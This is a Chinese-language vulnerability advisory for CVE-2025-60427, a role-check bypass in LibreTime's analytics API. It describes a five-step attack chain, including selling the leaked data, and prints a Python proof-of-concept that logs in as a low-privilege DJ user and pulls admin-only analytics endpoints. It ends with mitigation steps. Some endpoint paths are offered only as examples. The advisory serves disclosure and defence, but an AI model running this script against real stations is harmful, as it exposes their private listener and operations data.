IPBUF安全漏洞报告
English
CVE-2025-60427 CVSS 6.5 中危

CVE-2025-60427 LibreTime分析端点权限绕过漏洞

披露日期: 2025-10-21

漏洞信息

漏洞编号
CVE-2025-60427
漏洞类型
权限绕过/访问控制缺陷
CVSS评分
6.5 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
LibreTime

相关标签

CVE-2025-60427LibreTime权限绕过访问控制缺陷信息泄露Broken Access ControlRBACAPI安全广播自动化中危漏洞

漏洞概述

CVE-2025-60427是LibreTime 3.0.0-alpha.10及更早版本中存在的一个权限访问控制缺陷漏洞。该漏洞源于后端API未对分析(analytics)相关端点实施基于角色的权限验证机制,导致具有DJ角色的低权限用户能够通过Web用户界面或直接调用API的方式,访问到仅限管理员或更高权限用户可见的站点级分析数据与统计指标。LibreTime是一款开源的广播自动化软件,广泛应用于广播电台和在线流媒体服务中,其分析模块通常包含听众数据、播放统计、节目安排等敏感运营信息。由于该漏洞的存在,攻击者可以在未经授权的情况下获取这些敏感信息,从而导致信息泄露风险。该漏洞的CVSS 3.1评分为6.5,属于中危级别,攻击向量为网络攻击,需要低权限认证,但无需用户交互即可完成攻击,主要影响系统的机密性,对完整性和可用性没有直接影响。此类权限绕过漏洞在企业级应用中尤为危险,因为它们可能被恶意内部用户利用,窃取敏感的业务运营数据。

技术细节

该漏洞的核心问题在于LibreTime后端API在处理分析(analytics)端点请求时,未正确实施基于角色的访问控制(RBAC)。具体技术原理如下:

1. **认证机制缺陷**:LibreTime使用基于角色的权限系统,区分不同级别的用户(如管理员、节目总监、DJ等)。然而,在analytics相关的API路由处理函数中,开发者未添加角色验证中间件或权限检查逻辑。

2. **端点暴露**:受影响的analytics端点通常包括获取站点统计数据、听众分析、播放历史汇总等接口。这些端点直接暴露在Web UI中供管理员使用,但后端未对请求者的角色进行验证。

3. **利用方式**:具有DJ角色的攻击者只需通过正常登录流程获取认证令牌(session token或API key),然后直接向analytics端点发送HTTP请求(如GET /api/v2/analytics/...),即可绕过权限检查获取敏感数据。由于UI:N(无需用户交互),整个攻击过程可以自动化完成。

4. **信息泄露内容**:泄露的数据包括站点级别的运营指标,如总听众数、收听时长统计、节目播放排行、用户活跃度等敏感信息。

5. **攻击前提**:攻击者需要拥有合法的DJ级别账户,这通常可以通过社会工程学或利用其他漏洞获取低权限账户来实现。

攻击链分析

STEP 1
步骤1:获取低权限账户
攻击者通过社会工程学、注册流程或其他途径获取一个具有DJ角色的合法LibreTime账户。DJ角色是LibreTime中权限较低的角色,通常用于节目主持人。
STEP 2
步骤2:认证并获取会话令牌
使用DJ账户凭证登录LibreTime系统,通过/api/v2/auth/login端点获取有效的认证令牌(session token或JWT)。
STEP 3
步骤3:访问受保护的分析端点
利用获取的认证令牌,直接向analytics相关API端点(如/api/v2/analytics/listener-stats)发送HTTP GET请求。由于后端未进行角色验证,请求被成功处理。
STEP 4
步骤4:提取敏感分析数据
服务器返回站点级别的敏感分析数据,包括听众统计、播放指标、节目排行等仅限管理员可见的信息,实现未授权信息访问。
STEP 5
步骤5:数据利用
攻击者可以将获取的敏感运营数据用于商业竞争分析、进一步的社会工程攻击,或出售给第三方。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-60427 - LibreTime Analytics Broken Access Control PoC # This PoC demonstrates unauthorized access to analytics endpoints by a DJ-role user import requests # Configuration TARGET_URL = "https://target-libretime-instance.com" DJ_USERNAME = "dj_user" # Low-privilege DJ account DJ_PASSWORD = "dj_password" # Step 1: Authenticate as a DJ-role user to obtain session cookie/token session = requests.Session() login_url = f"{TARGET_URL}/api/v2/auth/login" login_payload = { "username": DJ_USERNAME, "password": DJ_PASSWORD } response = session.post(login_url, json=login_payload) if response.status_code == 200: print("[+] Successfully authenticated as DJ user") auth_token = response.json().get("token") headers = {"Authorization": f"Bearer {auth_token}"} else: print("[-] Authentication failed") exit(1) # Step 2: Attempt to access analytics endpoints (should be admin-only) # These endpoints should reject DJ-role users but due to CVE-2025-60427, they don't analytics_endpoints = [ "/api/v2/analytics/listener-stats", "/api/v2/analytics/station-metrics", "/api/v2/analytics/play-counts", "/api/v2/analytics/schedule-summary" ] for endpoint in analytics_endpoints: url = f"{TARGET_URL}{endpoint}" resp = session.get(url, headers=headers) if resp.status_code == 200: print(f"[+] VULNERABLE: Accessed {endpoint} without admin privileges") print(f" Data: {resp.text[:200]}...") else: print(f"[-] Blocked at {endpoint}: Status {resp.status_code}") # Step 3: Direct API call without UI (demonstrates UI:N - no user interaction needed) print("\n[*] Direct API exploitation (no UI interaction required):") api_url = f"{TARGET_URL}/api/v2/analytics/listener-stats" direct_resp = requests.get(api_url, headers=headers) if direct_resp.status_code == 200: print("[+] Direct API call successful - information disclosure confirmed") print(f" Leaked data sample: {direct_resp.json()}")

影响范围

LibreTime <= 3.0.0-alpha.10

防御指南

临时缓解措施
在官方修复版本发布之前,建议采取以下临时缓解措施:1)在反向代理(如Nginx)或Web应用防火墙(WAF)层面配置规则,阻止低权限用户角色访问analytics相关的API路径;2)在LibreTime的Web服务器配置中添加IP白名单,限制analytics端点仅允许管理员IP访问;3)修改LibreTime源代码,在analytics控制器方法中添加角色检查装饰器(如@require_role('admin')),然后重新编译部署;4)监控API访问日志,及时发现异常的analytics端点访问行为;5)临时禁用或限制DJ账户对分析功能的可见性。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表